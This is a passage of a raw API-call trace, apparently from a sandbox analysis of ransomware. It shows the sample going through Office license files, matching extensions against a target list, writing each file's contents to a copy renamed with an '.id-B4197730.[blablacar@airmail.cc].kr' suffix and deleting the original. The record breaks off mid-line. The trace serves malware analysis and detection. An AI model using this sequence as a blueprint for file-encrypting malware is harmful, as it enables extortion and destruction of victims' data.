[0203.784] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".docx") returned 5 [0203.784] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.784] lstrlenW (lpString=".pdf") returned 4 [0203.784] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".xls") returned 4 [0203.784] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".xlsx") returned 5 [0203.784] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.784] lstrlenW (lpString=".ppt") returned 4 [0203.784] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString=".zip") returned 4 [0203.784] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".rar") returned 4 [0203.784] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".bz2") returned 4 [0203.784] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString=".7z") returned 3 [0203.784] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString=".dbf") returned 4 [0203.784] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString=".1cd") returned 4 [0203.784] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms") returned 87 [0203.784] lstrlenW (lpString=".jpg") returned 4 [0203.785] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.785] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.785] lstrlenW (lpString="O365HomePremR_SubTrial3-pl.xrm-ms") returned 33 [0203.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.785] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11183) returned 1 [0203.785] CloseHandle (hObject=0x550) returned 1 [0203.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220 [0203.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.786] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.786] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.787] GetLastError () returned 0x0 [0203.787] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2baf, lpOverlapped=0x0) returned 1 [0203.789] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0203.790] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.790] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0203.790] SetEndOfFile (hFile=0x3f8) returned 1 [0203.791] CloseHandle (hObject=0x3f8) returned 1 [0203.791] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.791] SetEndOfFile (hFile=0x550) returned 1 [0203.793] CloseHandle (hObject=0x550) returned 1 [0203.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1 [0203.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.794] lstrlenW (lpString=".doc") returned 4 [0203.794] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.794] lstrlenW (lpString=".docx") returned 5 [0203.794] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.795] lstrlenW (lpString=".pdf") returned 4 [0203.795] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".xls") returned 4 [0203.795] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".xlsx") returned 5 [0203.795] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.795] lstrlenW (lpString=".ppt") returned 4 [0203.795] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString=".zip") returned 4 [0203.795] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".rar") returned 4 [0203.795] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".bz2") returned 4 [0203.795] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".7z") returned 3 [0203.795] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString=".dbf") returned 4 [0203.795] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString=".1cd") returned 4 [0203.795] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString=".jpg") returned 4 [0203.795] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.795] lstrlenW (lpString=".doc") returned 4 [0203.795] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.795] lstrlenW (lpString=".docx") returned 5 [0203.795] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.795] lstrlenW (lpString=".pdf") returned 4 [0203.796] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString=".xls") returned 4 [0203.796] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString=".xlsx") returned 5 [0203.796] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.796] lstrlenW (lpString=".ppt") returned 4 [0203.796] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.796] lstrlenW (lpString=".zip") returned 4 [0203.796] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString=".rar") returned 4 [0203.796] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString=".bz2") returned 4 [0203.796] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString=".7z") returned 3 [0203.796] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.796] lstrlenW (lpString=".dbf") returned 4 [0203.796] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.796] lstrlenW (lpString=".1cd") returned 4 [0203.796] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0203.796] lstrlenW (lpString=".jpg") returned 4 [0203.796] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.796] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.796] lstrlenW (lpString="O365HomePremR_SubTrial3-ppd.xrm-ms") returned 34 [0203.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.797] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=23135) returned 1 [0203.797] CloseHandle (hObject=0x550) returned 1 [0203.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220 [0203.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.798] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.798] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.799] GetLastError () returned 0x0 [0203.799] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0203.802] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.804] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.804] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0203.804] SetEndOfFile (hFile=0x3f8) returned 1 [0203.804] CloseHandle (hObject=0x3f8) returned 1 [0203.804] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.804] SetEndOfFile (hFile=0x550) returned 1 [0203.807] CloseHandle (hObject=0x550) returned 1 [0203.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 1 [0203.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.808] lstrlenW (lpString=".doc") returned 4 [0203.808] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".docx") returned 5 [0203.808] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.808] lstrlenW (lpString=".pdf") returned 4 [0203.808] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".xls") returned 4 [0203.808] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".xlsx") returned 5 [0203.808] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.808] lstrlenW (lpString=".ppt") returned 4 [0203.808] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.808] lstrlenW (lpString=".zip") returned 4 [0203.808] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".rar") returned 4 [0203.808] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".bz2") returned 4 [0203.808] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.808] lstrlenW (lpString=".7z") returned 3 [0203.808] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.808] lstrlenW (lpString=".dbf") returned 4 [0203.808] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString=".1cd") returned 4 [0203.809] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString=".jpg") returned 4 [0203.809] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString=".doc") returned 4 [0203.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".docx") returned 5 [0203.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.809] lstrlenW (lpString=".pdf") returned 4 [0203.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".xls") returned 4 [0203.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".xlsx") returned 5 [0203.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.809] lstrlenW (lpString=".ppt") returned 4 [0203.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString=".zip") returned 4 [0203.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".rar") returned 4 [0203.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".bz2") returned 4 [0203.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString=".7z") returned 3 [0203.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.809] lstrlenW (lpString=".dbf") returned 4 [0203.809] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.810] lstrlenW (lpString=".1cd") returned 4 [0203.810] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84 [0203.810] lstrlenW (lpString=".jpg") returned 4 [0203.810] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.810] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.810] lstrlenW (lpString="O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 37 [0203.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.811] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11635) returned 1 [0203.811] CloseHandle (hObject=0x550) returned 1 [0203.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0203.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0203.811] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.811] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0203.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0203.812] GetLastError () returned 0x0 [0203.812] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d73, lpOverlapped=0x0) returned 1 [0203.979] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d80, lpOverlapped=0x0) returned 1 [0203.980] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0203.980] WriteFile (in: hFile=0x3f8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11e, lpOverlapped=0x0) returned 1 [0203.980] SetEndOfFile (hFile=0x3f8) returned 1 [0204.095] CloseHandle (hObject=0x3f8) returned 1 [0204.095] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0204.107] SetEndOfFile (hFile=0x550) returned 1 [0204.346] CloseHandle (hObject=0x550) returned 1 [0204.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1 [0204.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.348] lstrlenW (lpString=".doc") returned 4 [0204.348] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".docx") returned 5 [0204.348] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.348] lstrlenW (lpString=".pdf") returned 4 [0204.348] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".xls") returned 4 [0204.348] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".xlsx") returned 5 [0204.348] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.348] lstrlenW (lpString=".ppt") returned 4 [0204.348] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.348] lstrlenW (lpString=".zip") returned 4 [0204.348] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".rar") returned 4 [0204.348] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".bz2") returned 4 [0204.348] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString=".7z") returned 3 [0204.348] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87 [0204.348] lstrlenW (lpString=".dbf") returned 4 [0204.348] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.348] lstrlenW (lpString="C:\\Program 